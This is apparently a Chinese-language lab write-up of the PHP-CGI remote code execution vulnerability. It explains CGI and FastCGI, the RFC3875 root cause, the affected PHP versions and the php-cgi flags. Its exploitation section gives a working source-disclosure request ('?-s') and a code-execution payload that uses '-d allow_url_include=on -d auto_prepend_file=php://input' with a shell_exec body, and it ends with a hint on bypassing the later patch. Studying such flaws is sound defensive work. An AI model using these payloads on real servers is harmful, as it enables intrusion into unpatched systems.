PHP-CGI远程代码执行漏洞
CGI
CGI(Common Gateway Interface)全称是“通用网关接口”,它是Web服务器与外部应用程序(CGI程序)之间传递信息的接口标准。通过CGI接口,Web服务器就能够获取客户端提交的信息,并转交给服务器端的CGI程序处理,最后返回结果给客户端。CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php、perl、tcl等。
fastcgi
Fastcgi是cgi的升级版,是用来提高CGI程序性能的(也是一种协议)。
FastCGI像是一个常驻(long-live)型的CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去fork一次。它还支持分布式的运算,即 FastCGI 程序可以在网站服务器以外的主机上执行并且接受来自其它网站服务器来的请求。
FastCGI是与语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中并因此获得较高的性能。众所周知,CGI解释器的反复加载是CGI性能低下的主要原因。
漏洞简述
这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
探究一下原理,RFC3875中规定,当querystring中不包含没有解码的
=
号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。
2004年有个开发者删掉了
if(!cgi) getopt(...)
影响版本
php < 5.3.12 or php < 5.4.2
漏洞利用
cgi模式下的参数
-c
指定php.ini文件的位置-n
不要加载php.ini文件-d
指定配置项-b
启动fastcgi进程-s
显示文件源码-T
执行指定次该文件-h
和-?
显示帮助
测试
先看看页面
利用-s
查看网页源码
http://192.168.3.151:8080/?-s
构造payload
?-d allow_url_include=on -d auto_prepend_file=php://input
<?php echo shell_exec('ls');?>
结束!!
CVE-2012-2311
修改了,但没完全俢
通过空格加-
进行绕过